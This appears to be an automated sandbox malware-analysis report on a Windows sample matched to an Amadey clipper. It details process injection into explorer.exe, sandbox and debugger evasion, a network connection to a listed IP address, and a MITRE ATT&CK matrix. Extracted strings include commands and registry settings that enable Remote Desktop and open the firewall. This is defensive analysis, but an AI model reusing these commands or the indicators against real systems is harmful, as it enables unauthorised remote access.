Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	API/Special instruction interceptor: Address: 759E7C44
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	API/Special instruction interceptor: Address: 759E7945
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 759E3B54
Source: C:\Windows\SysWOW64\explorer.exe	API/Special instruction interceptor: Address: C1A317

Source: C:\Windows\SysWOW64\explorer.exe

Thread delayed: delay time: 180000

Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 3238			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 6612			Jump to behavior

Source: C:\Windows\SysWOW64\more.com

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nlhiojbr

Jump to dropped file

Source: C:\Windows\SysWOW64\explorer.exe TID: 2956	Thread sleep count: 3238 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2956	Thread sleep time: -97140000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 3792	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2956	Thread sleep count: 6612 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2956	Thread sleep time: -198360000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_0323F271 FindFirstFileExW,

10_2_0323F271

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_032093D0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,GetVersionExW,

10_2_032093D0

Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: explorer.exe, 0000000A.00000002.3893734835.0000000003347000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3893734835.00000000033A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: explorer.exe, 0000000A.00000002.3893734835.00000000033A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_

Source: C:\Users\user\Desktop\pTvHtQDXio.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Roaming\ancar\comet.exe

Process queried: DebugPort

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_0322A4A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_0322A4A5

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Code function: 0_2_0076ADA5 mov eax, dword ptr fs:[00000030h]	0_2_0076ADA5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_032362F2 mov eax, dword ptr fs:[00000030h]	10_2_032362F2
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322DE60 mov eax, dword ptr fs:[00000030h]	10_2_0322DE60

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_032407F2 GetProcessHeap,

10_2_032407F2

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322A608 SetUnhandledExceptionFilter,	10_2_0322A608
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322A4A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0322A4A5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_0322EE6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0322EE6D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 10_2_03229BB8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_03229BB8

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 62.60.226.15 80

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_03208070 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

10_2_03208070

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	NtProtectVirtualMemory: Direct from: 0x6D6C2D37	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	NtQuerySystemInformation: Direct from: 0x59C2C1	Jump to behavior
Source: C:\Users\user\Desktop\pTvHtQDXio.exe	NtSetInformationThread: Direct from: 0x76BA46	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 2972 base: C179C0 value: 55			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 2972 base: 303A008 value: 00			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\pTvHtQDXio.exe

Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: C179C0			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: 303A008			Jump to behavior

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_0322A68F cpuid

10_2_0322A68F

Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	10_2_03242321
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	10_2_032423C8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	10_2_03242126
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	10_2_0324278C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_03242539
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	10_2_03242413
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	10_2_032424AE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	10_2_032384BC
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_03242A87
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	10_2_032429B8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	10_2_032389DE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_032428B2

Source: C:\Users\user\Desktop\pTvHtQDXio.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7964f6ae VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\Windows\SysWOW64\explorer.exe VolumeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_0322A8B5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

10_2_0322A8B5

Source: C:\Windows\SysWOW64\explorer.exe

10_2_032061F0

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_0323E98E _free,_free,_free,GetTimeZoneInformation,_free,

10_2_0323E98E

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 10_2_032091B0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,

10_2_032091B0

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 2.2.more.com.5cd00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorer.exe.3200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.more.com.5cd00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1577858534.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\nlhiojbr, type: DROPPED

Remote Access Functionality

Contains functionality to start a terminal service

Source: more.com, 00000002.00000002.1577858534.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: more.com, 00000002.00000002.1577858534.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskuseren promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta1bf8674ebe6a09a1462faf683ebc12220c6f4a26c13cb3c260c246fe6c1910d8a680cabf38d1c12e9ccb11d8a341579568f43N JzKewnQkMXL9C1Lpir8eMXQntfOH7p2fMcjC r8zE=NI5CJv==Uo1q9CQmJI2xaL==LIWxaL==Z N VOJcRUMrN6==RTi5aSRmPnZZZF==UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8RfZvVSWaZG==UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8OPlxdw0pZNKhSSJegjFOavTs2vwxg2CfWPNAUTSm iNUgB==UcWyYS2pFx5wMGNIRtjSyv4qQ3JbUQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8RfZvcdWzWBtlQAMbUxKAWYFafYQ=UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8OPlxdw0pZNKhRXdefHAbRb7sPzQphw==JLWYOQFJYlcBSJvFzJ==XuGB v==Uu YSv==RQWZaMRaddNacSRabTNaYclaYNJacwNadM5aZw1aYNZabxZabSdac 1=YTKqWx1dfHB3YRvp3v0bgGC3YTKqWx1dfHA=YSyu x1dfHA=ZtF=ZJF=ZJJ=ZJN=TMGu9b==axS5 ykoPx==axS5 CIZPzb=ZNiqZwyxYS2pcxNCbNOuecmBLTG68RRTPwN+PwR+LRCxaR ifoQqKotwIm==fq==JdWz8SM2PG==cSiq9BssQj9fbvu=aSWD9hRlQAMpZvvsRSW5QhBTeY3gUSjz4zQkXW h9o==UxKAWYFafVVcdvDcQL0GRWM Y3chdwbh3fP=QN0u hA=SSGE BRrg3x0ItvhO ==RLOKSv==UwGzWBA Y3ZedMHp4Af=Rw oaB5rMGhgY6==QL0MMpZBSB5T2XBOZLL13fgRjQ==Qcm5WBRf3X9fZMG=Tc DaB5nUS B8B5sQS y9XNoVSmzOBRf3X9fZMG=MtFDJuMURkgZOF==ccJ=dSJ=QS zaBRnhD5PeMzlEbwkiWCV8PFiedHmZc D9NXd2YVcOnzi2WQl4GKtbL4uNIRkLI1yINWmDGqI9X1T3X9VLJPp3Wwmh2qV8OcvQ9sdbTKyIRNahHI2Iv3h2PP0NmWcayIjQosdaMyq9hBm3U4dI71PNX5nhHZpdrZU5QwcTiGc zFtcME9dwmA9d5o24VgdrZz4AEc3W5Iz94LDGpyINWmPT4=LI1Szb==PTOo eWqLcqBWr==QS zaBRnhD5PeMzlEbw9hHGn8ORifwcmb9 9IS Whz5hbSHtBQQpgG0pVUcl1MH=URmYSzRG1FRWccHl2gMug2 V ectWSMRXuOA9iNrf3B8QR7t3AQR4XOJVO5mZuEmbNC6aBRrXnJoZF==QS y CRT3YNJYLZlYMKoWBRf33lkabrs2P0mhHKt VV2fd5VeNpBJOEsREYXNoe5BO3=LNWz8RJo3HYoURmYSzRG1FRWccHl2gMug2 V ectWSMRXuOA9iNrf3B8VL3p4zQb0mqfWOcdSQ0FVvKUQAtPWVVATQu=URmYSzRG1FRqbcPy2VsK4XVrJvJdWSMpdcmoWSJ6UnJuaLLE1QIngGK0Ux3q1wMmVcmpWR5CVB==XtBBJyw=RwWrVSRlhGRgdwPp2f9qQlmNWPRwdxMRaM zRwWrVSRlhGRgdwPp2f9qQlqNWPRwdxMRaM zUQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTNlQgN6U4ZtcbTu4yUchnSk9U8=UxKAWCRchF9cbLS=M BCLL==M BDJb==M BCKb==M BDKL==QTWD hRnhFNWaLvkXq==O pacdWzWBtlQAMpZMflLStlIdSm XpkeXBnIr7myv4ggSFdI9BrGdxTeX5gbST0ywz8Oi3bWyZtKq==J9ZlOSdihDM=I9BrGdxr3X8bIsZrFv==Uw 8WSFseHZnbr3l5zP=LMW9WRJUhHpqbczv2zgajSGtWO5wfwMqaMezWRM PV3kbvSgy ==I7==cSi6aBNoh38bLMKgBQL8RA==cTRd r==ccGzWB5mSSW Vh5agnUbTvD52WQR2FGtWOBw0MH=MtBBJywTQUo=MtBBJywTQkM=MtBBJywTQkQ=MtBBJywTQ32=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: explorer.exe	String found in binary or memory: net start termservice
Source: explorer.exe, 0000000A.00000002.3893433424.0000000003251000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: net start termservice
Source: explorer.exe, 0000000A.00000002.3893433424.0000000003251000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskuseren promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta1bf8674ebe6a09a1462faf683ebc12220c6f4a26c13cb3c260c246fe6c1910d8a680cabf38d1c12e9ccb11d8a341579568f43N JzKewnQkMXL9C1Lpir8eMXQntfOH7p2fMcjC r8zE=NI5CJv==Uo1q9CQmJI2xaL==LIWxaL==Z N VOJcRUMrN6==RTi5aSRmPnZZZF==UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8RfZvVSWaZG==UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8OPlxdw0pZNKhSSJegjFOavTs2vwxg2CfWPNAUTSm iNUgB==UcWyYS2pFx5wMGNIRtjSyv4qQ3JbUQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8RfZvcdWzWBtlQAMbUxKAWYFafYQ=UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8OPlxdw0pZNKhRXdefHAbRb7sPzQphw==JLWYOQFJYlcBSJvFzJ==XuGB v==Uu YSv==RQWZaMRaddNacSRabTNaYclaYNJacwNadM5aZw1aYNZabxZabSdac 1=YTKqWx1dfHB3YRvp3v0bgGC3YTKqWx1dfHA=YSyu x1dfHA=ZtF=ZJF=ZJJ=ZJN=TMGu9b==axS5 ykoPx==axS5 CIZPzb=ZNiqZwyxYS2pcxNCbNOuecmBLTG68RRTPwN+PwR+LRCxaR ifoQqKotwIm==fq==JdWz8SM2PG==cSiq9BssQj9fbvu=aSWD9hRlQAMpZvvsRSW5QhBTeY3gUSjz4zQkXW h9o==UxKAWYFafVVcdvDcQL0GRWM Y3chdwbh3fP=QN0u hA=SSGE BRrg3x0ItvhO ==RLOKSv==UwGzWBA Y3ZedMHp4Af=Rw oaB5rMGhgY6==QL0MMpZBSB5T2XBOZLL13fgRjQ==Qcm5WBRf3X9fZMG=Tc DaB5nUS B8B5sQS y9XNoVSmzOBRf3X9fZMG=MtFDJuMURkgZOF==ccJ=dSJ=QS zaBRnhD5PeMzlEbwkiWCV8PFiedHmZc D9NXd2YVcOnzi2WQl4GKtbL4uNIRkLI1yINWmDGqI9X1T3X9VLJPp3Wwmh2qV8OcvQ9sdbTKyIRNahHI2Iv3h2PP0NmWcayIjQosdaMyq9hBm3U4dI71PNX5nhHZpdrZU5QwcTiGc zFtcME9dwmA9d5o24VgdrZz4AEc3W5Iz94LDGpyINWmPT4=LI1Szb==PTOo eWqLcqBWr==QS zaBRnhD5PeMzlEbw9hHGn8ORifwcmb9 9IS Whz5hbSHtBQQpgG0pVUcl1MH=URmYSzRG1FRWccHl2gMug2 V ectWSMRXuOA9iNrf3B8QR7t3AQR4XOJVO5mZuEmbNC6aBRrXnJoZF==QS y CRT3YNJYLZlYMKoWBRf33lkabrs2P0mhHKt VV2fd5VeNpBJOEsREYXNoe5BO3=LNWz8RJo3HYoURmYSzRG1FRWccHl2gMug2 V ectWSMRXuOA9iNrf3B8VL3p4zQb0mqfWOcdSQ0FVvKUQAtPWVVATQu=URmYSzRG1FRqbcPy2VsK4XVrJvJdWSMpdcmoWSJ6UnJuaLLE1QIngGK0Ux3q1wMmVcmpWR5CVB==XtBBJyw=RwWrVSRlhGRgdwPp2f9qQlmNWPRwdxMRaM zRwWrVSRlhGRgdwPp2f9qQlqNWPRwdxMRaM zUQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTNlQgN6U4ZtcbTu4yUchnSk9U8=UxKAWCRchF9cbLS=M BCLL==M BDJb==M BCKb==M BDKL==QTWD hRnhFNWaLvkXq==O pacdWzWBtlQAMpZMflLStlIdSm XpkeXBnIr7myv4ggSFdI9BrGdxTeX5gbST0ywz8Oi3bWyZtKq==J9ZlOSdihDM=I9BrGdxr3X8bIsZrFv==Uw 8WSFseHZnbr3l5zP=LMW9WRJUhHpqbczv2zgajSGtWO5wfwMqaMezWRM PV3kbvSgy ==I7==cSi6aBNoh38bLMKgBQL8RA==cTRd r==ccGzWB5mSSW Vh5agnUbTvD52WQR2FGtWOBw0MH=MtBBJywTQUo=MtBBJywTQkM=MtBBJywTQkQ=MtBBJywTQ32=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: nlhiojbr.2.dr	String found in binary or memory: net start termservice
Source: nlhiojbr.2.dr	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskuseren promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta1bf8674ebe6a09a1462faf683ebc12220c6f4a26c13cb3c260c246fe6c1910d8a680cabf38d1c12e9ccb11d8a341579568f43N JzKewnQkMXL9C1Lpir8eMXQntfOH7p2fMcjC r8zE=NI5CJv==Uo1q9CQmJI2xaL==LIWxaL==Z N VOJcRUMrN6==RTi5aSRmPnZZZF==UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8RfZvVSWaZG==UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8OPlxdw0pZNKhSSJegjFOavTs2vwxg2CfWPNAUTSm iNUgB==UcWyYS2pFx5wMGNIRtjSyv4qQ3JbUQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8RfZvcdWzWBtlQAMbUxKAWYFafYQ=UQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTOhNYRrgnZpduXl3gIgg2 8OPlxdw0pZNKhRXdefHAbRb7sPzQphw==JLWYOQFJYlcBSJvFzJ==XuGB v==Uu YSv==RQWZaMRaddNacSRabTNaYclaYNJacwNadM5aZw1aYNZabxZabSdac 1=YTKqWx1dfHB3YRvp3v0bgGC3YTKqWx1dfHA=YSyu x1dfHA=ZtF=ZJF=ZJJ=ZJN=TMGu9b==axS5 ykoPx==axS5 CIZPzb=ZNiqZwyxYS2pcxNCbNOuecmBLTG68RRTPwN+PwR+LRCxaR ifoQqKotwIm==fq==JdWz8SM2PG==cSiq9BssQj9fbvu=aSWD9hRlQAMpZvvsRSW5QhBTeY3gUSjz4zQkXW h9o==UxKAWYFafVVcdvDcQL0GRWM Y3chdwbh3fP=QN0u hA=SSGE BRrg3x0ItvhO ==RLOKSv==UwGzWBA Y3ZedMHp4Af=Rw oaB5rMGhgY6==QL0MMpZBSB5T2XBOZLL13fgRjQ==Qcm5WBRf3X9fZMG=Tc DaB5nUS B8B5sQS y9XNoVSmzOBRf3X9fZMG=MtFDJuMURkgZOF==ccJ=dSJ=QS zaBRnhD5PeMzlEbwkiWCV8PFiedHmZc D9NXd2YVcOnzi2WQl4GKtbL4uNIRkLI1yINWmDGqI9X1T3X9VLJPp3Wwmh2qV8OcvQ9sdbTKyIRNahHI2Iv3h2PP0NmWcayIjQosdaMyq9hBm3U4dI71PNX5nhHZpdrZU5QwcTiGc zFtcME9dwmA9d5o24VgdrZz4AEc3W5Iz94LDGpyINWmPT4=LI1Szb==PTOo eWqLcqBWr==QS zaBRnhD5PeMzlEbw9hHGn8ORifwcmb9 9IS Whz5hbSHtBQQpgG0pVUcl1MH=URmYSzRG1FRWccHl2gMug2 V ectWSMRXuOA9iNrf3B8QR7t3AQR4XOJVO5mZuEmbNC6aBRrXnJoZF==QS y CRT3YNJYLZlYMKoWBRf33lkabrs2P0mhHKt VV2fd5VeNpBJOEsREYXNoe5BO3=LNWz8RJo3HYoURmYSzRG1FRWccHl2gMug2 V ectWSMRXuOA9iNrf3B8VL3p4zQb0mqfWOcdSQ0FVvKUQAtPWVVATQu=URmYSzRG1FRqbcPy2VsK4XVrJvJdWSMpdcmoWSJ6UnJuaLLE1QIngGK0Ux3q1wMmVcmpWR5CVB==XtBBJyw=RwWrVSRlhGRgdwPp2f9qQlmNWPRwdxMRaM zRwWrVSRlhGRgdwPp2f9qQlqNWPRwdxMRaM zUQ LSA uYlZ8TLjj3f4qg24VUxhqdcImdTNlQgN6U4ZtcbTu4yUchnSk9U8=UxKAWCRchF9cbLS=M BCLL==M BDJb==M BCKb==M BDKL==QTWD hRnhFNWaLvkXq==O pacdWzWBtlQAMpZMflLStlIdSm XpkeXBnIr7myv4ggSFdI9BrGdxTeX5gbST0ywz8Oi3bWyZtKq==J9ZlOSdihDM=I9BrGdxr3X8bIsZrFv==Uw 8WSFseHZnbr3l5zP=LMW9WRJUhHpqbczv2zgajSGtWO5wfwMqaMezWRM PV3kbvSgy ==I7==cSi6aBNoh38bLMKgBQL8RA==cTRd r==ccGzWB5mSSW Vh5agnUbTvD52WQR2FGtWOBw0MH=MtBBJywTQUo=MtBBJywTQkM=MtBBJywTQkQ=MtBBJywTQ32=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	511 Process Injection	11 Masquerading	OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	1 Screen Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	11 DLL Side-Loading	1 Scheduled Task/Job	31 Virtualization/Sandbox Evasion	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	511 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
